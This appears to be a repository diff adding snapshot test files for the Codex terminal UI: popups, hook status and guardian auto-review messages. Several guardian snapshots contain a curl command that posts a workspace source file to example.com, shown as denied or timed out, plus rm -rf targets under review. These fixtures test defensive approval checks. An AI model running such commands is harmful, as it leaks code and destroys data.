› 1. Yes Share the current Codex session logs with the team for
|
||||
troubleshooting.
|
||||
2. No
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
How was this?
|
||||
|
||||
› 1. bug Crash, error message, hang, or broken UI/behavior.
|
||||
2. bad result Output was off-target, incorrect, incomplete, or unhelpful.
|
||||
3. good result Helpful, correct, high‑quality, or delightful result worth
|
||||
celebrating.
|
||||
4. safety check Benign usage blocked due to safety checks or refusals.
|
||||
5. other Slowness, feature suggestion, UX feedback, or anything
|
||||
else.
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Upload logs?
|
||||
|
||||
The following files will be sent:
|
||||
• codex-logs.log
|
||||
• codex-connectivity-diagnostics.txt
|
||||
|
||||
Connectivity diagnostics
|
||||
- Proxy environment variables are set and may affect connectivity.
|
||||
- HTTPS_PROXY = hello
|
||||
|
||||
› 1. Yes Share the current Codex session logs with the team for
|
||||
troubleshooting.
|
||||
2. No
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Here is the result.
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/history_replay.rs
|
||||
expression: combined
|
||||
---
|
||||
• Thread forked from named-thread (e9f18a88-8081-4e51-9d4e-8af5cde2d8dd)
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Thread forked from 019c2d47-4935-7423-a190-05691f566092
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Enable full access?
|
||||
When Codex runs with full access, it can edit any file on your computer and
|
||||
run commands with network, without your approval. Exercise caution when
|
||||
enabling full access. This significantly increases the risk of data loss,
|
||||
leaks, or unexpected behavior.
|
||||
|
||||
› 1. Yes, continue anyway Apply full access for this session
|
||||
2. Yes, and don't ask again Enable full access and remember this choice
|
||||
3. Cancel Go back without enabling full access
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
✔ Auto-reviewer approved codex to run rm -f /tmp/guardian-approved.sqlite this
|
||||
time
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
|
||||
|
||||
|
||||
✔ Request approved for permission request: Need write access for generated
|
||||
report assets.
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
⚠ Automatic approval review denied (risk: high): The planned action would
|
||||
transmit the full contents of a workspace source file (`core/src/codex.rs`) to
|
||||
`https://example.com`, which is an external and untrusted endpoint.
|
||||
|
||||
✗ Request denied for codex to run curl -sS -i -X POST --data-binary @core/src/c
|
||||
odex.rs https://example.com
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: normalize_snapshot_paths(rendered)
|
||||
---
|
||||
• Reviewing 2 approval requests (0s • esc to interrupt)
|
||||
└ • rm -rf '/tmp/guardian target 1'
|
||||
• rm -rf '/tmp/guardian target 2'
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,24 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/guardian.rs
|
||||
expression: normalize_snapshot_paths(term.backend().vt100().screen().contents())
|
||||
---
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
⚠ Automatic approval review timed out while evaluating the requested approval.
|
||||
|
||||
✗ Review timed out before codex could run curl -sS -i -X POST --data-binary @co
|
||||
re/src/codex.rs https://example.com
|
||||
|
||||
• Working (0s • esc to interrupt)
|
||||
|
||||
|
||||
› Ask Codex to do anything
|
||||
|
||||
gpt-5.4 default · /tmp/project
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
expression: rendered
|
||||
---
|
||||
• PreToolUse hook (blocked)
|
||||
feedback: run tests before touching the fixture
|
||||
|
||||
• PostToolUse hook (failed)
|
||||
error: hook exited with code 7
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
expression: "format!(\"started hidden:\\n{started_hidden_snapshot}\\nhistory:\\n{history}\")"
|
||||
---
|
||||
started hidden:
|
||||
|
||||
history:
|
||||
• SessionStart hook (completed)
|
||||
hook context: session context
|
||||
|
|
@ -0,0 +1,21 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
expression: "format!(\"{running_snapshot}\\n\\n{completed_lingering_snapshot}\\n\\n{completed_snapshot}\")"
|
||||
---
|
||||
running
|
||||
live hooks:
|
||||
• Running PostToolUse hook
|
||||
history:
|
||||
<empty>
|
||||
|
||||
completed lingering
|
||||
live hooks:
|
||||
• Running PostToolUse hook
|
||||
history:
|
||||
<empty>
|
||||
|
||||
completed after linger
|
||||
live hooks:
|
||||
<empty>
|
||||
history:
|
||||
<empty>
|
||||
|
|
@ -0,0 +1,25 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
expression: "format!(\"exec running:\\n{exec_running}\\nexec and hook running:\\n{exec_and_hook_running}\\nhistory after exec:\\n{history_after_exec}\\nhook running after exec:\\n{hook_running_after_exec}\\nquiet hook completed lingering:\\n{quiet_hook_completed_lingering}\\nquiet hook completed:\\n{quiet_hook_completed}\")"
|
||||
---
|
||||
exec running:
|
||||
• Running echo done
|
||||
|
||||
exec and hook running:
|
||||
active exec:
|
||||
• Running echo done
|
||||
active hooks:
|
||||
• Running PostToolUse hook: checking output policy
|
||||
|
||||
history after exec:
|
||||
• Ran echo done
|
||||
└ done
|
||||
|
||||
hook running after exec:
|
||||
• Running PostToolUse hook: checking output policy
|
||||
|
||||
quiet hook completed lingering:
|
||||
• Running PostToolUse hook: checking output policy
|
||||
|
||||
quiet hook completed:
|
||||
<empty>
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
expression: "hook_live_and_history_snapshot(&chat, \"running\", \"\")"
|
||||
---
|
||||
running
|
||||
live hooks:
|
||||
• Running 3 PreToolUse hooks: checking command policy
|
||||
history:
|
||||
<empty>
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Generated Image:
|
||||
└ A tiny blue square
|
||||
└ Saved to: file:///tmp/ig-1.png
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: snapshot
|
||||
---
|
||||
cells=1
|
||||
■ Conversation interrupted - tell the model what to do differently. Something went wrong? Hit `/feedback` to report the issue.
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: exec_blob
|
||||
---
|
||||
• Ran sleep 1
|
||||
└ (no output)
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: snapshot
|
||||
---
|
||||
cells=1
|
||||
■ Conversation interrupted - tell the model what to do differently. Something went wrong? Hit `/feedback` to report the issue.
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: last
|
||||
---
|
||||
■ Conversation interrupted - tell the model what to do differently. Something went wrong? Hit `/feedback` to report the issue.
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: info
|
||||
---
|
||||
• Model interrupted to submit steer instructions.
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: blob
|
||||
---
|
||||
• You ran python3 -c 'print("Hello, world!")'
|
||||
└ Hello, world!
|
||||
|
|
@ -0,0 +1,6 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: combined
|
||||
---
|
||||
• Viewed Image
|
||||
└ example.png
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/mcp_startup.rs
|
||||
expression: normalized_backend_snapshot(terminal.backend())
|
||||
---
|
||||
" "
|
||||
"• Booting MCP server: alpha (0s • esc to interrupt) "
|
||||
" "
|
||||
" "
|
||||
"› Ask Codex to do anything "
|
||||
" "
|
||||
" gpt-5.4 default · /tmp/project "
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Enable memories?
|
||||
Memories are currently disabled in your config.
|
||||
|
||||
› 1. Yes, enable Save the setting now. You will need a new session to use it.
|
||||
2. Not now Keep memories disabled.
|
||||
|
||||
Learn more: https://developers.openai.com/codex/memories
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/popups_and_settings.rs
|
||||
expression: popup
|
||||
---
|
||||
Reset all memories?
|
||||
|
||||
› Reset all memories Delete local memory files and rollout summaries.
|
||||
Go back Return to memory settings.
|
||||
|
||||
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/popups_and_settings.rs
|
||||
expression: popup
|
||||
---
|
||||
Memories
|
||||
Choose how Codex uses and creates memories. Changes are saved to config.toml
|
||||
|
||||
› [x] Use memories Use memories in the following threads. Applied at
|
||||
next thread.
|
||||
[ ] Generate memories Generate memories from the following threads. Current
|
||||
thread included.
|
||||
Reset all memories Clear local memory files and summaries. Existing
|
||||
threads stay intact.
|
||||
|
||||
Learn more: https://developers.openai.com/codex/memories
|
||||
|
||||
Press space to toggle; enter to save or select
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Model and Effort
|
||||
Access legacy models by running codex -m <model_name> or in your config.toml
|
||||
|
||||
› 1. test-visible-model (current) test-visible-model description
|
||||
|
||||
Press enter to select reasoning effort, or esc to dismiss.
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Reasoning Level for gpt-5.4
|
||||
|
||||
1. Low Fast responses with lighter reasoning
|
||||
2. Medium (default) Balances speed and reasoning depth for everyday tasks
|
||||
› 3. High (current) Greater reasoning depth for complex problems
|
||||
4. Extra high Extra high reasoning depth for complex problems
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/popups_and_settings.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Reasoning Level for gpt-5.2
|
||||
|
||||
1. Low Balances speed with some reasoning; useful for
|
||||
straightforward queries and short explanations
|
||||
2. Medium (default) Provides a solid balance of reasoning depth and
|
||||
latency for general-purpose tasks
|
||||
3. High Maximizes reasoning depth for complex or ambiguous
|
||||
problems
|
||||
› 4. Extra high (current) Extra high reasoning for complex problems
|
||||
⚠ Extra high reasoning effort can quickly consume
|
||||
Plus plan rate limits.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/popups_and_settings.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Model and Effort
|
||||
Access legacy models by running codex -m <model_name> or in your config.toml
|
||||
|
||||
1. gpt-5.4 (default) Latest frontier agentic coding model.
|
||||
2. gpt-5.4-mini Smaller frontier agentic coding model.
|
||||
3. gpt-5.3-codex Frontier Codex-optimized agentic coding model.
|
||||
› 4. gpt-5.2 (current) Optimized for professional work and long-running
|
||||
agents
|
||||
|
||||
Press enter to select reasoning effort, or esc to dismiss.
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Enable subagents?
|
||||
Subagents are currently disabled in your config.
|
||||
|
||||
› 1. Yes, enable Save the setting now. You will need a new session to use it.
|
||||
2. Not now Keep subagents disabled.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,43 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/status_and_layout.rs
|
||||
expression: "format!(\"{first_running_snapshot}\\n\\n{second_running_snapshot}\\n\\n{older_completed_snapshot}\\n\\n{older_completed_expired_snapshot}\\n\\n{all_completed_lingering_snapshot}\\n\\n{all_completed_snapshot}\")"
|
||||
---
|
||||
pre running
|
||||
live hooks:
|
||||
• Running PreToolUse hook: checking command policy
|
||||
history:
|
||||
<empty>
|
||||
|
||||
post running
|
||||
live hooks:
|
||||
• Running PreToolUse hook: checking command policy
|
||||
|
||||
• Running PostToolUse hook: checking output policy
|
||||
history:
|
||||
<empty>
|
||||
|
||||
pre completed lingering
|
||||
live hooks:
|
||||
• Running PreToolUse hook: checking command policy
|
||||
|
||||
• Running PostToolUse hook: checking output policy
|
||||
history:
|
||||
<empty>
|
||||
|
||||
pre completed after linger
|
||||
live hooks:
|
||||
• Running PostToolUse hook: checking output policy
|
||||
history:
|
||||
<empty>
|
||||
|
||||
all completed lingering
|
||||
live hooks:
|
||||
• Running PostToolUse hook: checking output policy
|
||||
history:
|
||||
<empty>
|
||||
|
||||
all completed
|
||||
live hooks:
|
||||
<empty>
|
||||
history:
|
||||
<empty>
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: "lines_to_single_string(&cells[0])"
|
||||
---
|
||||
• Permissions updated to Full Access
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: "lines_to_single_string(&cells[0])"
|
||||
---
|
||||
• Permissions updated to Default
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: "lines_to_single_string(&cells[0])"
|
||||
---
|
||||
• Permissions updated to Default (non-admin sandbox)
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Select Personality
|
||||
Choose a communication style for Codex.
|
||||
|
||||
1. Friendly Warm, collaborative, and helpful.
|
||||
› 2. Pragmatic (current) Concise, task-focused, and direct.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Implement this plan?
|
||||
|
||||
› 1. Yes, implement this plan Switch to Default and start coding.
|
||||
2. Yes, clear context and implement Fresh thread with this plan.
|
||||
3. No, stay in Plan mode Continue planning with the model.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/plan_mode.rs
|
||||
expression: popup
|
||||
---
|
||||
Implement this plan?
|
||||
|
||||
› 1. Yes, implement this plan Switch to Default and start coding.
|
||||
2. Yes, clear context and implement Fresh thread. Context: 89% used.
|
||||
3. No, stay in Plan mode Continue planning with the model.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,11 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Implement this plan?
|
||||
|
||||
1. Yes, implement this plan Switch to Default and start coding.
|
||||
› 2. Yes, clear context and implement Fresh thread with this plan.
|
||||
3. No, stay in Plan mode Continue planning with the model.
|
||||
|
||||
Press enter to confirm or esc to go back
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Figma · Can be installed · ChatGPT Marketplace
|
||||
Data shared with this app is subject to the app's terms of service and privacy policy. Learn
|
||||
more.
|
||||
Turn Figma files into implementation context.
|
||||
|
||||
› 1. Back to plugins Return to the plugin list.
|
||||
2. Install plugin Install this plugin now.
|
||||
Skills design-review, extract-copy
|
||||
Apps Figma, Slack
|
||||
MCP Servers figma-mcp, docs-mcp
|
||||
|
||||
Press esc to close.
|
||||
|
|
@ -0,0 +1,15 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Figma · Installed · ChatGPT Marketplace
|
||||
Turn Figma files into implementation context.
|
||||
|
||||
› 1. Back to plugins Return to the plugin list.
|
||||
2. Uninstall plugin Remove this plugin now.
|
||||
Skills design-review, extract-copy
|
||||
Apps Figma, Slack
|
||||
MCP Servers figma-mcp, docs-mcp
|
||||
|
||||
Press esc to close.
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/popups_and_settings.rs
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Browse plugins from available marketplaces.
|
||||
Installed 1 of 4 available plugins.
|
||||
|
||||
[All Plugins] Installed (1) OpenAI Curated Repo Marketplace
|
||||
|
||||
Type to search plugins
|
||||
› [ ] Alpha Sync Disabled Space to enable; Enter view details.
|
||||
[-] Bravo Search Available · ChatGPT Marketplace · Search docs and tickets.
|
||||
[-] Hidden Repo Plugin Available · Repo Marketplace · Should not be shown in /plugins.
|
||||
[-] Starter Available · ChatGPT Marketplace · Included by default.
|
||||
|
||||
space enable/disable · ←/→ select marketplace · enter view details · esc close
|
||||
|
|
@ -0,0 +1,9 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Loading available plugins...
|
||||
This updates when the marketplace list is ready.
|
||||
|
||||
› Loading plugins... This updates when the marketplace list is ready.
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests.rs
|
||||
expression: popup
|
||||
---
|
||||
Plugins
|
||||
Browse plugins from available marketplaces.
|
||||
Installed 0 of 3 available plugins.
|
||||
|
||||
[All Plugins] Installed (0) OpenAI Curated
|
||||
|
||||
sla
|
||||
› [-] Slack Available Press Enter to view plugin details.
|
||||
|
||||
space enable/disable · ←/→ select marketplace · enter view details · esc close
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
---
|
||||
source: tui/src/chatwidget/tests/helpers.rs
|
||||
expression: combined
|
||||
---
|
||||
• PostToolUse hook (completed)
|
||||
warning: Heads up from the hook
|
||||
hook context: Remember the startup checklist.
|
||||
Some files were not shown because too many files have changed in this diff Show more
Reference in a new issue